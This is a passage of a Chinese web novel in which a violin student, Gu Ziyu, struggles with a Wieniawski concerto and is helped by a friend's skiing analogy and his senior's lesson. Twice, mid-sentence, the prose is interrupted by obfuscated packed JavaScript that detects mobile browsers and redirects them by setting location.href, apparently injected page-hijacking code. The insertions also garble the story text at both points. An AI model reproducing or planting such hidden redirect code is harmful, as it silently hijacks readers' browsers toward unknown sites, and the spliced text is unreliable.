然而,当他回到家,本该打开琴盒练习的顾梓聿却发现,自己头一次地,对手里这个伙伴失去了激情。这是一件很可怕的事,因为顾梓聿从懂事以来,几乎从来没有对手里的琴产生过一丝丝的倦怠情绪。小的时候贪玩,可也照样会去自觉地练琴,因为喜欢。可现在,他呆呆地坐在床边,觉得烦躁了起来。 46.醍醐灌顶 已经整整一个月了! 一个月,四节课,几十个小时,永远在磨第一乐章的第一段落。 明天又要去见师兄,拿什么去?就拿这段练得越来越差的垃圾去?! 顾梓聿看着镜子里的自己,灵活的右手持弓,像抚摸猫一样把弓子轻轻搭在弦上,左手揉弦,圆润的音头,充满感情地渐强,优雅而庄严的长音… 明明一项项做来都是符合表情符号的,可不知为什么,这样多的重复练习后,他却觉得演奏出来的音色越来越难听,好像从悦耳歌唱的夜莺变成了惨叫索命的乌鸦。他泄气地放下小提琴,坐在钢琴凳旁,掀开琴盖,随便“咚咚”地敲上几个键,发起呆来。 顾梓聿从来没有觉得这么受折磨过。 以往学曲子的时候,吴老师夸过他“有灵性”,说他即使是下意识的反应,也是合乎谱面及作曲家心境的。这样的他,没想到有一天会被困在这里:开头应该是抒情的,而后变的辉煌典雅,无论如何,整个演奏状态都与顾梓聿现在这幅苦大仇深的模样毫不相关。 学校的琴房铺了隔音材料,墙上都是软包,他站起身,放弃治疗似的往墙上一倒:郁闷啊!他百无聊赖地挪到窗前,往外一瞄——诶,那群家伙正在篮球场上打球! 很久没打球的顾梓聿止不住有点心痒,可是一想到自己这首曲子还没拿下来,哎! 顾梓聿正纠结的时候,手机倒是响了,他没关静音,一时间铃声把他吓了一跳。他掏出手机接通,那头吴豪的声音响起: “诶诶!顾神!要不要来打球啊!我们占了一个场子!” “啊?” 刚刚想着的事情马上就成真?顾梓聿真的很想答应,可是他看了看镜子里那个浑身围绕着丧气的自己——开什么玩笑,今天的任务还没完成呢,打什么球! “我,我还是…” 顾梓聿有点不情愿,“算了吧”三个字还没出口,他又听见那头嘈杂的背景音里,吴豪冲着手机喊:“我们打4V4,这有张铎和方岳,和六班校队那几个人打。邹宽说要是你不来他就要上场啦!” 4V4?那应该打一局也挺快的,就算下去活动筋骨、转移下注意力嘛,说不定回来就有灵感了呢?琴这个东西往往就是,放一段时间再拿起来的时候会有进展。嗯,对,就是这样! 顾梓聿想尽各种方法说服他心里那个理智的小人,然后再拿邹宽当借口:“哎哎!吴豪这可不行,你可得把邹宽给我看好了,他在旁边看看比赛也就罢了,绝对不许他上场!要是有个万一,邹妈妈还不把我们生吞了。” 上次邹宽出事后,他妈妈立马就赶到学校把他接了回去,明明是仪态端庄的富太太,看到虚弱的儿子那一刹那,立刻变身为脆弱的小女生。 “行!顾神!那我们就等着你啦!快来!” 嘿!顾梓聿从刚才被虐的体无完肤的状态立马变回血魔满格。他快速锁了门,一边冲向球场一边为自己开脱:没事,今天星期五,放松一下也是正常的。 姜明珺从图书馆出来准备回家时,听到的就是接连不断的女生尖叫声,待她往那个方向看过去,球场外一群女生冒着星星眼,还分团体的,一群为这个加油,一群为那个加油,陈心乔也站在场外的啦啦群里,整个人激动得不行。 姜明珺的大脑还没想明白这代表了什么,心头就先掠过一丝不安的阴影。她往球场走过去,走近了才看得清楚,在球场上挥汗如雨的一群人中,赫然就有顾梓聿。他冲前几步,长长的手指伸张,左手一挡,正好把对方带的球截下来,然后反身带球,跑了几步,一扬手,在对手反应过来之前远远投了一个三分。 球,进了! 全场又在欢呼,这可真是奇景,普通学生和校篮球队的比赛,竟是前者遥遥领先!偏偏顾梓聿又长得不差,他抬手摸了一把汗,围观的女生们又激动起来。 姜明珺手都在颤,可不是激动,是气的。她生平第一次冷漠地硬生生挤开那些围观的女同学们,走到网前,邹宽正坐在场边。她咽下心头那口气,戳了戳邹宽的后背:“同学,你能帮我把顾梓聿叫出来吗?就说程琤程老师有事找他。” 邹宽被这一戳吓了一跳,回头一看发现这女生是隔壁班的,好像跟顾梓聿也挺熟的,也不疑有他,就往场上喊:“顾梓聿!有人找!” “找什么找,没看我正打球呢吗!”顾梓聿刚进了个三分,此时正在兴头上,头也不回就先呛了一句,“等着爷先打完这盘!” 嚯!“爷”这字都出来了!姜明珺无奈一哂,邹宽继续喊到:“是程琤程老师找你!” “哈?”顾梓聿这回是听清楚了,无意识地就抱着抢在手里的球有点呆滞。姜明珺真是笑了:他听到程琤的名字就好像老鼠见到猫一样,也只有搬出程琤才能治他。 “超时犯规!”场边是体育老师临时充当的裁判,他走过来拍掉顾梓聿怀里的球,说:“先去看看有什么事。” 顾梓聿悻悻地下了场,暗自想着他最近也没干什么出格的事儿啊? 出了场地,邹宽向他指了指姜明珺,他走过去,问:“程老师找我什么事?” “不是程老师找你,是我找你。”姜明珺好整以暇地看着他,顾梓聿意识到场边的女生大多数都往这边望了过来,下意识地拉着姜明珺往僻静的地方走。形势比人强啊,小妹妹一下子变成了训导主任了。 “什么事啊,要你假程老师的名号?” 顾梓聿笑着问。 姜明珺却很严肃:“你自己知道,马上就要去面试了,你怎么敢现在去打篮球?要是受伤了怎么办,伤筋动骨,恢复起来可不是小事!” “嗨,这事儿。”顾梓聿放下心来,“我还以为是什么呢!没事,我就玩玩。” “玩玩?首席,你知道为了你的面试,所有人都很紧张吗?宋师兄那么忙的人 ,腾出时间来给你上课;乐团那边,柏指挥给你开绿灯,现在还找不到人来顶你的位置,你却在这里打球、至自己的健康状况于不顾?” 顾梓聿真是没想到,作为妹妹的姜明珺也有站在这里教训自己的一天,他也不知道哪里来的一股邪火:“是,师兄忙,他只不过是在家呆着、训人就好,而我呢?我是一整天的时间都要花在往返交通上,从这里到申城有一千多公里你知道吗?你说柏指挥找不到人,好啊,你也在乐团里待了这么多年了,平常就坐在我旁边,应该很熟悉首席这个角色了,为什么你不去承担这个责任,是不是没了我地球就不转了?” 姜明珺的眼泪马上就要夺眶而出了,可是女孩子的敏感、自尊和矜持,硬生生地让她瞪着眼睛,勉强维持一副强势的样子:“反正我话尽于此,怎么选择是你的事。” 硬邦邦的一句话扔下来,她甩头就走。 顾梓聿刚才话一说出去就后悔了。他从来不会这样说话的,怎么今天一字一句就是冲着戳伤对方去的?何况明珺也的确是好心,自己怎么能和她计较?他看着姜明珺越走越快、越走越远,甚至还跑了起来,很快就消失在视线里,又苦恼起来:得嘞,今天这球是打不成了,还得去给人家道个歉,哎哟,都怪这张臭嘴! 他回到球场,先是跟大家说了句对不起,“实在有事要先走了”,所幸比赛也只剩下六七分钟了,他回头向邹宽示意:“宽子啊,要不你来玩两下,别太激动了,我给你打下一个这么好的江山。”又对吴豪和张铎喊,“二十分的分差呢。别让他们追上了啊!” 邹宽听到自己熬了这么久终于离开冷板凳,有股千年媳妇熬成婆的幽怨:“你去找你的程老师吧,江山就交给我!” 顾梓聿苦笑了一下,又给对方比了个“加油”的手势,就挥了挥手下场了,见状围观的女生散开了一小半。 陈心乔本想上前跟他打个招呼,顺便夸一句:比赛打得真好!她甚至都想好了,说话的时候眼睛要睁得大大的,定定地盯着他的眼睛,然后羞涩一笑,露出她的小酒窝… “顾梓聿!等我一下!” 陈心乔都要气哭了:有人已经捷足先登——棕色的卷发随着主人的步伐一跳一跳地,好像充满了弹性。那女孩偏过脸来,浓密卷翘的睫毛,大眼睛高鼻子,雪肤冰肌,实在是个美人。 顾梓聿没听出来是谁,他现在是谁也不想理,只装没听见,脚下加快了脚步。苏影跑了不短的距离才追上他,这时候两人都快到艺术楼了。 “顾梓聿!你等等我!” 苏影跑得气喘吁吁,好不容易才追上顾梓聿,她重重一拍他的肩膀,顾梓聿实在躲不过,深吸一口气,强扯出一个笑容,转过身来。 “苏影?怎么了?找我什么事?” 顾梓聿虽然此时心情差地不行,可在刚才控制不住地对姜明珺发了脾气后,顾梓聿才意识到也许确实是自己状态不对,以至于对自己的情绪都失去控制了,因此面对苏影的时候,他刻意放缓了声音,不想再误伤到朋友。 “你忘了?上次你请我吃饭,我说了要回请你的,”苏影开心地笑起来,大大的眼睛都眯成了一道笑弧,“正好朋友前两天跟我推荐了一家特别好吃的,我带你去啊!” 顾梓聿这才想起来,就是夏天音乐节的事。他当时请重逢的苏影吃饭,价位有点高,他就悄悄先去结了账单。苏影秉承西方那一套作风,坚持要AA餐费,他实在受不了,就借口说下次让她做东。 没想到这孩子这么实心眼! 顾梓聿无奈苦笑了一下,摇摇头说:“苏影,我们是朋友,我请你吃饭,你是女孩,作为男生,这账本来就该让我来结。咱们这儿不流行AA那套,你既然来了华纳,就要入乡随俗啊。” 顾梓聿以为自己够诚恳了,没想到苏影听了这话倒是认真起来:“顾梓聿,你这样说就不对了,我们是朋友,没错,但埋单这事和性别无关。如果你尊重我的话,就应该让我付我自己的那一份,男女平等,不但体现在权利,也体现在义务上。我不能因为是女性,就理所应当地享受这一切。” 好嘛,这调子起的够高!怎么说?如果自己阻止了她请吃饭的举动,就是不尊重女性、不尊重女权?顾梓聿无语地扶额,他修长的手指搭在眉间,低头叹了口气。 不过是一瞬间的动作,苏影注视着对面的男生,本是在等待他的回答,却在那一霎,被这样无奈的少年攫获了心神。 顾梓聿抬起头:“可我今天还要练琴…” “没事,我可以等,现在还早,等你练完我们再去吃饭,时间应该正好。”苏影迫不及待地截断了他的话头,戏弄心起,推着他的肩膀,半小跑着地就把他推进了艺术楼里。 两人进了电梯,苏影看着楼层键,转头问身边的顾梓聿:“几楼啊?” 顾梓聿比她高半个头,离她很近,近到她可以闻到他身上淡淡的香味。她抬起眼,呼吸之间,她看着男孩脸上还带着运动后的红潮,额头上有一些细密的汗珠,浓密纤长的眼睫毛微微颤动,那双原本明亮的眼睛里有明显的疲惫和低落,他没搭话,直接按了六楼。 苏影的心今天第二次被撞了一下,那是一种难以名状的感受。她认识顾梓聿的契机,是源于那第一眼望去与自己哥哥极相似的容貌。但是走近点观察,就会发现两人气质截然不同。在和他当上同学之前,那两次近距离的相处,令她无时不刻地感觉到这个男孩无微不至的关怀,而这就是他对待朋友的方式,充满了善意和体贴。 这样的温暖,曾经让她觉得在人前的顾梓聿就像是一颗小太阳,永远都是暖洋洋的、活力四射的;她从来没有意识到他并不是一颗真太阳,而他的能量也并不是源源不断、取之不尽用之不竭的。 而这样的感受在她胡搅蛮缠、“强行”旁观顾梓聿练琴的过程中,更加明显。 苏影生来就有一种天赋,她对于情绪的感知特别敏感,共情能力特别强,只要看到旁人一皱眉、一撇嘴角,甚至可能只是身体下意识的举动,手指的颤动,脚尖的转向,她就能够感知到对方的情绪。 第一次在街心公园遇见顾梓聿时,她就知道他应该是把练琴当作真实情绪的一个出口,他习惯于通过练琴,来排解自己的负面情绪,以维持心里的平衡。在她看来,顾梓聿是一个非常善于封闭自己的人,或者说,他只愿意让外人看到自己愿意展示的那一面,他在下意识地拒绝和旁人有信息量的真实情感交流。 而这样的人,恰恰又是一个处事得体大方、成熟周全,处处都照顾他人感受、永远把事情的棱角磨平的人。他似乎习惯于把所有的情绪自己去消化、自己去承担,苏影知道,在潜意识里,这其实是一种缺乏安全感的象征,是一种保护自己的行为,而顾梓聿,就习惯了用这样最周全的形象去生活。 今天,因为有她这个外人在场,本来独属于顾梓聿的私人空间被撕开了一条小口子。为了随时矫正自己的姿势,时刻监控着自己手臂的用力情况,顾梓聿是对着镜子练琴的,但他不可能时时刻刻都看着镜子里的自己。 因此,苏影发现,每当顾梓聿侧头看琴的时候,他的眉头就会皱起,嘴角下撇,脸上隐隐有点躁郁的表情,很像就要压制不住自己的怒火;但当他正视镜子里的自己时,即使注意力只在手腕的姿势上时,他都会非常迅速地调整自己的表情,变得平静。 这种调整,很大可能是下意识地,因为这样细微的切换太多遍了,让苏影觉得,顾梓聿并不是因为她在这里才压抑着自己的情绪,而是压制自己的情绪,已经成为他深入骨髓的习惯了。 这种认知,不知道为什么,激起了她的保护欲,令她有些心疼。 苏影认真地看着顾梓聿又在同一处停下,深吸一口气,扬起琴弓,熟悉的引子又再一次从他琴下流淌开来。 她即使没有学过小提琴,对顾梓聿的困境一无所知,却也能从琴声中听出点不对劲来,何况,从开始到现在,整整一个小时过去了,顾梓聿连第一乐章都没有完整地从头到尾拉过一遍。他总是拉到一半就停下,然后从头开始。 苏影可以感觉到整个琴房里的空气似乎都化为实质地、粘稠地,重重地压在她的心上。她看着顾梓聿的脸,本来是平静的面无表情,随着练习的不如人意,慢慢地阴了下来,变成了压抑着愤怒的面无表情。她不敢出声打断,就看着顾梓聿毫无预兆地停下来,把弓交到左手,右手捂住了自己的眼睛。 在顾梓聿停下的那一瞬间,她真的害怕,害怕顾梓聿压抑不住自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336352|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情绪,会突然把琴砸了,或者大喊一声、摔点东西。那种感觉就像火山喷发的前一秒,令人窒息。 但是没有,顾梓聿依旧很好地控制住了自己,他没有怎样,只是揉了揉自己的脸,声音有些沙哑道:“苏影,今天恐怕不凑巧,要不你先回去吧,我们下次再约。” 他知道自己状态不好,始终投入不了,虽然基本技术还在,可是整首曲子听起来就硬邦邦的,哪哪都不对,他只能拉个开头,根本没法拉下去。 平常他自己练琴的时候都觉得声音特棒,找不出毛病,为了挑不足,非得要录下来,然后坐着认真从头到尾听一遍,才能够脱离自己耳朵的那层滤镜,听出哪里轻了重了、换弦刺耳了、节奏不对了。 可今天倒好,根本就不用录下来,他一边拉着自己都听不下去,听不下去就从头开始,每每从头开始,都越拉越差。 他想着宋熙和说的不能让肌肉太紧张,要放松,是让旋律带着弓子走,而不是让大臂小臂拉着弓子,就下意识地去控制,想让手臂松劲儿。可是一松劲儿,琴弓就会在弦上打滑,发出的声音就不美了。他越练越急、越练越气,觉得自己好像一个田径健将,突然有一天不懂得怎么跑步了,被迫像一个婴儿一样,从爬行开始从头学起。 这样的落差,让他心里憋闷得慌,他心里有一股气,想发却发不出来。 这股气是对着自己的,他不明白,为什么自己连这一点小问题都解决不了? 苏影突然笑了起来,这笑声惊醒了正在和自己赌气的顾梓聿。他有点恼怒地转过头,却发现苏影施施然站了起来,微笑着说:“我倒没有发现,小提琴这门优雅的艺术,和滑雪竟然有点相像。” “什么?”顾梓聿有点茫然。 “我是说,你太紧张了,你想精确地应用每一个技术,却让你的情绪限制了你的身体,因此你不能够演绎出旋律的美丽。” 顾梓聿听到前半句“你太紧张了”的时候,在心里是有些嗤之以鼻的:什么事做不好不能用“紧张”二字来解释?这就是一个万金油式的为自己的失败开脱的借口。可当他听到“情绪限制了身体”时,好像有什么门在他面前打开了。 苏影接着说:“我没有学过小提琴,所以我不知道你的问题是什么,但是我听得出来,你的音准节拍都很好,可是乐句与乐句之间没有一股连贯的情绪,就好像我想要一条珍珠项链,你却捧上了一盘珍珠,粒粒分明,唯独缺少一根线,将它们连在一起。” “我虽然对小提琴不了解,但我很懂滑雪,你知道吗,不管是单板还是双板,在滑那种很高很陡的、尤其雪况不好还夹杂着碎冰的野雪的时候,最重要的事情就是要放松,要懂得放开大脑对肌肉的控制,因为在真正滑下去之前,你对雪况没有办法预判,都是白茫茫一片,你哪里看得清哪里松软,哪里坚硬,哪里冰多?只有真正踩在雪上,你才能知道脚底下是什么。” “可那个时候,你已经在滑行了,如果你要让大脑来主管这一切,就变成:大脑要先收到脚下传来的信号,再判断这片雪的松软程度,然后再由大脑来控制腿上那些肌肉群,来改变动作,或坐下或站立,以此来改变速度。我滑雪时,时速至少有上百公里,你觉得,在那么陡的坡、那么大的加速度下,这一连串动作做下来,要是前面有棵歪脖子树,我还来得及避开吗?” 顾梓聿没滑过雪,也想象不出滑雪滑得跟上高速一样快是什么概念。但他被这一番话砸的一愣一愣地,闻言下意识摇了摇头,乖乖答道:“来不及。” “这就是了。如果你要让大脑来控制这一切,不但会很容易疲倦,而且还往往会滞后于雪况。因此,我们在滑雪的时候,不是让大脑去控制肌肉,而是让雪坡来带动我们的肌肉,我只是把好一个重心。当我在滑行的时候,我不知道哪里会凸起哪里会凹下,我根本不去想,我只是顺应坡式,顺着坡下,我不会试图去预判,去想我’应该’左转或右转。坡往哪儿我就往哪儿,是坡在带动我,我是被动的,而不是让我的大脑去带动我,因为我的大脑控制不了坡。” “让雪坡来带动肌肉”,这句话怎么那么像宋熙和说的,“用旋律来带动弓子”?顾梓聿一下就把苏影的话听进去了,她说的什么来着?“顺着坡下”?不去想“应该”左转或右转,而是顺其自然? 之前因为演奏情绪不够饱满,宋熙和在谱面上加重了表情符号,因此他在演奏时总想着,到了这个小节的情绪“应该”是什么,下一段他的弓“应该”用中段还是弓尖,跳弓的时候弓“应该”要更轻盈一点,所有的这些“应该”,出现在他脑子里的时候,都加重了他肌肉的紧张,从而恶性循环,又让他无法饱满地演绎出那些情绪,进而曲子就变得生硬难听。 他想到这里,有一种恍然大悟的感觉,他急不可待地想试验一下,直接举起琴架上弓,试图以旋律来带动弓子,让肌肉放松,不受大脑控制。 从头到尾完整的一遍下来,九分多钟,等到最后一个音结束的时候,顾梓聿的脸色简直比刚才好不了多少:这一遍下来,尽管他试图让大脑放空,完全不去想此时是该渐强还是该减弱,整首曲子的状态也并没有好转。 他刚想说点什么,旁边的苏影就鼓起掌来:“不错啊,这一遍比之前的感觉都好多了。” “真的吗?”顾梓聿有点不敢置信,苏影肯定地点点头:“我刚才被你打断,话都还没说完,你要知道,把自己训练到纯靠肌肉反应,放开大脑对身体的控制,绝对不是一朝一夕的事。我小时候第一次学滑雪,因为你知道下坡不是直直地下来的,那样速度会越来越快,最后会刹不住车,应该是走’之’字形,不断地靠转弯来降低速度,那时候我真的特别傻,不懂得顺着坡势,而是对自己说,’啊,这里我该转弯了’,这样硬生生转的,在不适合转弯的地方也转,就摔得特别惨。你现在也是,如果靠刻意地切断大脑的控制也会太生硬了,得慢慢来。” “不行,那我再继续练。”顾梓聿真的又再举起琴。 “诶,等等!你现在再练身体都会僵掉啦,不是这么蛮练的!”苏影连忙拉住他的手,“现在都晚上七点多了,你应该休息一下,放松一下,我看这首曲子你练的很熟了,最大的问题就是要放松下来!走吧,我们去吃饭!” “不行啊,我明天就要上课了…”顾梓聿被苏影点醒后,一下子就有点对她言听计从。这时他用残存的理智,弱弱地坚持着要再练一会儿。 “顾梓聿,你现在这样练一个小时,不如放松过后练的五分钟,你信不信?什么叫事半功倍,什么叫事倍功半?我刚才说了那么多,你都不相信吗?”苏影看起来有点生气了,眉头微皱着,“我本来还想趁吃饭的时候再分享一点经验给你,还是算了吧。” “哎,哎,我,我去吃,等等!”顾梓聿看着苏影真的走了,还带着她那些宝贵的“经验”,连忙手忙脚乱地收拾好琴盒,把书包往肩上一甩,飞速锁了门,就跑去电梯口截住苏影。还好艺术楼楼层多,电梯响应得不够快,他来得及追上了苏影,挤出满脸的笑容:“你说去哪里吃?” 苏影看他这满脸小心翼翼讨好的笑容,“噗嗤”一下笑出声来。 47.华彩的诞生 顾梓聿懒懒地靠在高铁二等座的座椅上,这个时间段的班次没有什么人,所以车厢内很安静,静得几乎能听见暖风口的风声。他倚在窗边,单手托着下巴,目光追逐着窗外远处的田野与低矮农舍。 夕阳将天边都映成一片金黄,白云缓缓地飘着,虽然已经是冬季,但这样美丽的天色令他想到了夏天清爽的橘子汽水,带着气泡,带着甜意,还有点刺喉咙的清爽。 他今天回课,难得没被师兄横眉冷对,因此现在整个人都处在一种飘飘然的状态。虽然这次微小的进步,也是靠逼近极限的咬牙苦练才换来的,但他至少在当下的这一刻,很开心。 昨天和苏影一同进行的晚餐非常棒,两人聊天的节拍很合得来,甚至有一种不言而喻的默契亲近。几次接触下来,她比他以为的更健谈、更风趣,昨晚没有冷场,也没有刻意为之的讨好,一顿饭下来,他甚至几次真心实意地笑出了声,这在最近的心理状态下实在是少有。 餐厅是一家偏小众的混搭式西餐馆,是苏影选的。菜式都是很常见的,做法却很特别,味道远超出想象。这姑娘不仅人长的美,对品尝美食这件事也是十分的有品位。 头盘的鹅肝,在常规的吐司片与香煎鹅肝之间垫上了一层炙烤过的菠萝片,轻轻一咬,菠萝酸甜清新的汁水和鹅肝的肥腴在口腔中交融,丝毫不显腻味,别有一番清爽的口感。鞑靼牛肉非常新鲜,配上略带一丝苦味的葡萄柚和百香果酱,一口下去层次丰富,一点腥味也无。而两人点的主菜堪称海陆大拼:顾梓聿点的是传统的俄式红罐牛肉配土豆饼,苏影的则是香煎银鳕鱼配扒大虾。饭后甜点则是无酒的提拉米苏和芝士水果挞。 一般说来,西餐点菜都是各吃各的,不过由于苏影强烈要求,说是“想多尝些口味”,顾梓聿也就从善如流,把自己点的菜都分了一半过去。在他看来,这不过是为了满足朋友的一点小要求,更何况苏影今天帮了他大忙。然而,至少是在餐厅服务员的眼中,烛光下顾梓聿分餐的侧影,隐隐之中透出了点令人心动的暧昧意味。 顾梓聿不傻,他明白苏影那一套理论为他指了条明路,说是醍醐灌顶也不为过。思路豁然开朗之后,他心里自然很感激,因此也是尽量照顾着苏影,力求让她这顿饭吃得开开心心,一点不敢先提早回家的话头。好在苏影也很知趣,两个人吃完饭后只又拉着他聊了一小会儿,就善解人意地放顾梓聿回家练琴。幸好,顾仲景当晚不在家,顾梓聿得以练琴到深夜,次日又一大清早就起来,争取临时抱抱佛脚。 “嗯,音准有比之前好点。” 顾梓聿放下琴,看到宋熙和点点头,他抿唇,虽然脸上尽力维持着平静,可心里简直像炸开了节庆的烟花。 这是一个多月来,宋熙和第一次坐在那里从头到尾听完协奏曲的第一乐章。三度、六度、八度音阶的起手,虽然音色还有瑕疵,但至少音是都准了,加上随想曲也能囫囵拉下来,至少没出错,这让顾梓聿拉协奏曲时心理负担减轻了不少。虽然协奏曲的细节处理还显粗糙,层次感也不够明确,但宋熙和始终没有出声打断。 顾梓聿知道,这已经是难得的宽容。 他脑子里开始下意识地自动复盘:自己最开始的时候因为过于紧张音准,右手也跟着僵硬了,导致音色发闷,之后右手推进太急太紧,不够细腻,揉弦不持续,没有层次,后面的炫技片段,弓子控制地不稳,偏移太多,造成音色压死失控,十六分音符拉不出层次,尤其后面双音段落几乎是靠肌肉记忆撑完的,手根本没力气了…… 每一个细节,他都能像复印机一样精准地从脑海里调出来。 他知道自己刚才是靠意志力硬扛下来的,但每一个音都还差得远。 一瞬间,一个念头划过脑海:走专业真的好难,你到底还要练多久?还要犯多少错?还要用多少次“拼尽全力”,才能把这一切拉到配得上“专业”两个字? “你之前对这个作品的处理还是太浅,”宋熙和终于开口,语气平缓,“威尼亚夫斯基的风格,是结合了浓郁的民族风格和辉煌的技巧,也就是说,你既要展现出它诗意抒情的一面,也要把炫技片段的浪漫绚丽表现出来。” 顾梓聿默默点头,眼神又严肃起来,师兄终于不再揪着他的音准,而是愿意开始点评乐曲的风格了,这也意味着有更高的要求在等着他。这算是个好兆头吧?他心里默默想着,却也不敢太放松。 他站在原地不动声色地抻了抻脖子、活动了一下左手——他在拉随想曲的时候整个人就已经紧绷地灵魂出走,两只手因为高度紧张而冰冷麻木,左手揉弦已然力不从心,右手很多时候都是浅尝辄止,不够放松也不够沉,以至于在全神贯注演奏完之后,他现在整个人有点脱力。 宋熙和今天看起来心情不错,耐心地点评起来: “开头的两个长乐句,主基调是高雅,又略带忧郁,但那不是悲剧感,是含蓄的情绪波动,不能太张扬,这个时候你的右手不能太急躁,弓速的变化还是不够自然,动作不要这么大开大合,要温柔,细腻,然后靠左手的表现力、揉弦力度和频率的变化来增添婉转迂回的感觉。你现在要练习的是左右手的配合,你在右手运弓换弦的时候经常左手的揉弦会暂停,虽然只是很短的一个瞬间,但这就把整个乐句的呼吸打断了。” 宋熙和从他惯用的那把椅子上起身,伸出手示意,顾梓聿马上把自己的琴和弓递到他手里。宋熙和略略校了一下音准,就轻扬起弓子,悠扬的乐句响起,弓子最初的接触点靠近指板,弓杆外倾,仅使用了一小撮弓毛,音量较弱,左手的手腕揉弦同样也幅度略小,只隐约能感到那微妙的振动在音色中泛起波澜。 随着乐句推进,宋熙和悄然加长弓段、加快弓速,音色像水被月光一点点染亮,左手也从手腕转为大臂揉弦,相应地加快了频率、加大了幅度,整个情感释放的过程非常流畅自然,如瀑布一泄到底、一气呵成,不像顾梓聿刚才的小家子气。 这才是真正的技术啊!顾梓聿目瞪口呆地看着宋熙和用着他的琴,硬生生演绎出了斯特拉迪瓦里的感觉!同样的琴,同样的弓,怎么拉出来的效果就如此不同呢? “还有炫技部分,”宋熙和示意顾梓聿注意自己的弓子,“连续的十六分音符的乐句,要有力量,要承前启后,可以把他们想象成连绵不绝的海浪,然后要把这种一波未平、一波又起的动态表现出来,让观众听了眼花缭乱。” 顾梓聿目不转睛地盯着宋熙和的手,宋熙和的手指粗粗圆圆的,平常看起来有点笨拙的可爱,可当演奏起曲子时,却能在漆黑的指板上飞快准确的击打跳跃,有力的揉弦和打指,演绎出精细的情绪差别。他的左手一直保持在高把位,尽量用尽可能少的动作来完成演奏,一边还说: “你刚才几个句子,一直在换把,自己还觉得很潇洒很帅气是不是?要是偶尔遇上状态不好的时候,又拉的这么快,稍微按不准一点,整串音都会跑掉。” 宋熙和嘴上说的是批评的话,可语气里隐隐带了点对亲近晚辈的宠溺。 他以华丽的音色完美地结束了这一段炫技,顾梓聿的身子向前倾,目光紧紧追随师兄的手,生怕漏掉一点细节——这样精彩的临场演奏可不是在随便哪个老师的课上能听见的。 纵使这段时间被师兄的高标准严要求折磨得身心俱疲,甚至都自暴自弃了,可此刻,这段精彩的华彩还是把他对师兄如高山仰止般的崇敬又重新赢了回来。 宋熙和把手里的琴还给他,顾梓聿不敢置信地低头看了看自己的琴——他错怪这把琴了! 他曾一度认为,他的琴不够好,如果他换了一把真正的好琴,也许音色能美得多。但是宋熙和以自己的技术,一力把他的琴质拉升了不小的高度,用实力证明:琴拉的好不好听,最终还是取决于人。 “回去好好练,右手和左手,记住我说的重点,”宋熙和重又坐回椅子上,“比上次拉的有点样子了,算是走在了正确的道路上。” 皇天不负有心人,这段日子废寝忘食地练习终于得到了宋熙和久违的夸赞,顾梓聿悄悄呼出一口长气,到了这时才算是整个人真正地放松下来了,眼角微眯,那点被他死死藏着的兴奋终于还是从缝隙里泄了出来。 宋熙和看着他这副难掩喜悦的样子,也微眯了眯眼角:“你把莫扎特第三协奏曲第一乐章拉给我听一下。” 顾梓聿愣了一下。 虽然顾梓聿多年没有拉过这首曲子了,但是当初学的时候印象很深刻,因此当下还能背谱,他也不知道师兄为什么突然让自己拉这首曲子,也没多问,就顺从地站在那里拉了出来。 莫扎特第三协奏曲应该是他第一首正式认真学过的协奏曲,作品本身的技术难度不高,没有飞快的速度,也没有滥用各种复杂的技巧,而是更考验风格的把握和控制力。与威尼亚夫斯基的浪漫主义不同,莫扎特的音乐是古典的、均衡的、童真却不幼稚的。它讲究语感、平衡与优雅,而这三样东西——恰恰是最难处理的。 顾梓聿想着当初学习的各种要点,运弓要活泼轻快,连弓要处理的有呼吸感,不知不觉地就把第一乐章拉完了。 “嗯,可以,”宋熙和很满意,这孩子的能力确实很好,多年没碰过的曲子,现在当场拉出来居然还能大差不差,很有水准,“有些地方的细节处理还要注意,不过你整个演奏情绪还是很好的,很自然,很放松,莫扎特不是一个复杂的人,他的音乐也不应该被演奏得复杂,你把这种轻盈的气质保持住了,很好。 ” 宋熙和这回拿起了自己的琴,说道:“这一段的连弓,你可以这么拉,就不会太死板,嗯——” 虽然谱子上是连弓,但宋熙和却在几处稍稍将琴弓抬离琴弦,此时,琴弦还在振动,但乐音似断未断,丝毫不生硬,就像乐曲自己在呼吸一样,充满了活力。 师兄又示范了!顾梓聿精神高度集中,全神贯注地看着他的右手运弓。如果脑子运转工作的时候会发出声音,他现在一定像柴油卡车的发动机,“轰隆隆”地发出巨响。 “这里,你刚才的指法要改一下,尽量保留把位,避免出现滑音。”宋熙和边说着边示范。 顾梓聿有点迷惑,师兄现在是在干嘛?他隐隐有了点不祥的预感,但是还是先问了眼下的问题:“滑音不可以吗?我还以为这样能让音符间过渡柔和,显得不生硬呢。”至少当年吴老师示范的时候,就有滑音,他还以为这样更有艺术性。 宋熙和瞥他一眼:“别的曲子里可以,但是在这里的十六音符不适合。莫扎特不讲这些,拖泥带水反而会显得庸俗。” 行吧,师兄说的都对。 “你刚才拉的华彩,是克莱斯勒的版本,对吧?”宋熙和重又坐回椅子上,“拉的不错。” “嗯。”顾梓聿顿时心里又有点小小的雀跃,克莱斯勒版本的华彩里结合了莫扎特的主题动机,加入大量的对位和复调乐段,复杂又优雅,拉下来不是那么容易的,更何况他至少有五、六年没有碰过这个曲子了,今天能拉下来,连他自己都没想到。 然而,宋熙和的下一句话就把顾梓聿打入了绝望的深渊:“既然你这首曲子掌握的这么好,别用他的了,你自己写一个华彩出来吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349161|166578||http|test|mini|href|location''.split(''|''),0,{})); () { 